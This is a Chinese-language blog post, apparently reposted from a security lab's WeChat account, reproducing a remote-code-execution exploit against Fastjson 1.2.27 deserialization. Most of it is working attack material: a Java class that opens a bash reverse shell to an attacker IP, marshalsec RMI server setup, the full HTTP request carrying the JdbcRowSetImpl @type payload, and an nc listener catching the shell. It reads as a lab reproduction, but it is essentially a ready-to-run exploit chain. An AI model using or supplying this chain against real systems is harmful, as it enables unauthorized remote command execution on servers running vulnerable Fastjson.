Fashjson1.2.27反序列化复现

admin 2022年4月9日23:54:22评论55 views字数 1326阅读4分25秒阅读模式

Fashjson1.2.27反序列化复现


    1、首先访问一下目标网址是否正常


Fashjson1.2.27反序列化复现



    2、编译java攻击载荷,此代码为反弹shell

 

// javac exp.java

import java.lang.Runtime;

import java.lang.Process;

 

public class exp {

    static {

        try {

            Runtime rt =Runtime.getRuntime();

            String[]commands = {"/bin/bash","-c","bash -i >&/dev/tcp/192.168.124.129/6666 0>&1"};

            Process pc =rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

            // do nothing

        }

    }

}

 

Fashjson1.2.27反序列化复现


    3、在使用远程服务器开启web服务器,使得编译的文件能够被下载。

这里使用py来开启python -mSimpleHTTPServer 8080


Fashjson1.2.27反序列化复现



访问目录,发现了文件


Fashjson1.2.27反序列化复现


    4、再启动rmi服务,远程加载刚才开启的web服务

这里使用了marshalsec启动一个RMI服务器,或者ladp服务器。

下载地址:https://github.com/mbechler/marshalsec

下载后切换到marshalsec目录下使用maven进行打包。

mvn cleanpackage -DskipTests

 

编译完成后,再进行开启:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer "http://192.168.124.133:8080/#exp" 9999

 

Fashjson1.2.27反序列化复现 


    5、对目标站点发送payload

Payload:

POST / HTTP/1.1

Host: 192.168.124.145:8090

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Connection: close

Content-Type: application/json

Content-Length: 261

 

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

       "@type":"com.sun.rowset.JdbcRowSetImpl",

       "dataSourceName":"rmi://192.168.124.133:9999/exp",

        "autoCommit":true

    }

}


 

Fashjson1.2.27反序列化复现


在主机上进行监听6666端口,命令如下:

Nc -lvvp6666

发送payload后得到了shell



Fashjson1.2.27反序列化复现


本文始发于微信公众号(Khan安全攻防实验室):Fashjson1.2.27反序列化复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月9日23:54:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fashjson1.2.27反序列化复现https://cn-sec.com/archives/535322.html

发表评论

匿名网友 填写信息